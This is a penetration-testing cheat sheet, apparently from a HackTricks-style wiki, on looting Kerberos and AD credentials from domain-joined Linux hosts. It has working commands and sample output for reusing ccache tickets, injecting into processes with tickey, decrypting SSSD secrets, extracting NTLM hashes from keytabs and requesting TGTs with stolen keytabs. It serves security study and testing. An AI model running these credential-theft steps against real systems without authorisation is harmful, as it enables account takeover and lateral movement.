Linux Active Directory

Theory

Linux systems can be integrated into an Active Directory environment in several different ways. The most common stacks are:

realmd for joining the host to the domain
sssd for identity, authentication, and cache management
Samba / Winbind for SMB integration and AD-aware name and auth handling
Kerberos client utilities such as kinit, klist, and libkrb5
host and service keytabs such as /etc/krb5.keytab

These components solve different problems, and each one may create different credential artifacts worth looting.

realmd

realmd is usually the onboarding layer. It helps a Linux host join an AD domain and writes the configuration needed for tools such as sssd or Samba to use the domain.

realmd is not usually the credential source you loot directly, but it is useful because it confirms that the machine is domain-joined, helps reveal which backend was chosen for integration, and shows where to pivot next for secrets, caches, and key material.

sssd

sssd stands for System Security Services Daemon. In AD-backed Linux environments it commonly handles user lookup, identity resolution, domain authentication, offline credential caching, policy caching, and Kerberos cache management through KCM. From an exploitation perspective, sssd matters because it can centralize sensitive material under /var/lib/sss/, including secret databases and Kerberos-related cache data that may not appear as ordinary files in /tmp.

Samba

Samba is the Linux implementation of SMB/CIFS and several Microsoft-compatible directory and authentication components. In AD environments, Samba may be used in two very different roles:

as a member server integrated into an existing Windows AD
as a Samba AD Domain Controller storing directory data locally

This distinction is critical because on a member server you are mostly interested in local machine secrets and integration artifacts, while on a Samba AD DC local compromise can expose domain directory data and have DC-level impact.

Winbind

winbindd is Samba's AD-aware identity and authentication service. It maps domain users and groups to the local UNIX system and helps the host interact with AD identities.

From an operator perspective, Winbind is useful because it shows that the host is AD-aware even if sssd is not used, that Samba private directories may contain useful machine-account material, and that SMB-oriented integration paths may be more relevant than SSSD-specific ones.

Keytabs

A keytab is a file containing Kerberos keys for a host or service principal. It is the Kerberos equivalent of storing a reusable secret for non-interactive authentication.

From an exploitation perspective, a keytab may allow requesting a TGT as the host or service, authenticating to Kerberos-aware services without a password prompt, or extracting key material that can sometimes be transformed into reusable credentials.

From a post-exploitation perspective, this matters because the credential material is not stored in a single place. Depending on the integration stack, a compromised Linux host may expose:

Kerberos ticket caches for logged-in users or services
host and service keytabs
SSSD-managed secret databases
Samba private databases with machine-account or trust-related secrets
directory data if the Linux host is running as a Samba AD Domain ControllerIn other words, do not limit triage to /tmp/krb5cc_*. A Linux host joined to AD can hold user-scoped, service-scoped, and host-scoped authentication material.

Practice

Tip: convert ticket to UNIX <-> Windows format

To convert tickets between UNIX/Windows format with ticketConverter.py.

# Windows -> UNIX
ticketConverter.py $ticket.kirbi $ticket.ccache

# UNIX -> Windows
ticketConverter.py $ticket.ccache $ticket.kirbi

Tools

linikatz is a tool to attack AD on UNIX. It allow you to dump credentials and kerberos cached tickets.

linikatz.sh

CCACHE ticket reuse from /tmp

Kerberos tickets are often stored in file-backed CCACHE files. These caches are usually tied to a specific user session, but if you can read the file you can often reuse the ticket without knowing the user's password.

These files are commonly stored in /tmp with permissions such as 600, and the ticket name often follows the format krb5cc_%{uid}.

List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache.

ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

export KRB5CCNAME=/tmp/krb5cc_1569901115

You may use this ticket using Pass The Ticket techniques

CCACHE ticket reuse from DIR caches

Some Linux systems use a directory-backed cache instead of a single krb5cc_* file. In that configuration, the cache name may point to a directory that contains multiple ticket cache entries.

This matters because a quick search for /tmp/krb5cc_* may miss all valid Kerberos material.

Look for DIR: values in environment variables and Kerberos configuration, then inspect the target directory.

env | grep KRB5CCNAME
grep -R "default_ccache_name" /etc/krb5.conf /etc/krb5.conf.d 2>/dev/null

ls -lah /tmp/ 2>/dev/null
find /tmp -maxdepth 2 -type d -name "*krb*" 2>/dev/null
find /run -maxdepth 3 -type d -name "*krb*" 2>/dev/null

If the cache name resolves to a DIR: backend, inspect the directory contents and point KRB5CCNAME to the correct cache target.

CCACHE ticket reuse from keyring

Some Linux systems store Kerberos tickets in a kernel keyring-backed cache instead of a plain file. In that case, there may be no obvious krb5cc_* file even though the host is actively using Kerberos.

Processes may store kerberos tickets inside their memory, the tickey tool can be useful to extract those tickets

ptrace protection should be disabled in the machine /proc/sys/kernel/yama/ptrace_scope = 0

# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets

CCACHE ticket reuse from SSSD KCM (Kerberos Cache Manager)

SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions.

Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets.

python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

Extract Accounts From Keytab Files

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

On Linux you can use KeyTabExtract to extracts Key values from .keytab files

python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky

You can also use the .keytab file to request a TGT directly.

kinit administrator@local.com -k -t /tmp/administrator.keytab

References

Page not found - HackTricksbook.hacktricks.xyz

Linux Active Directory

On this page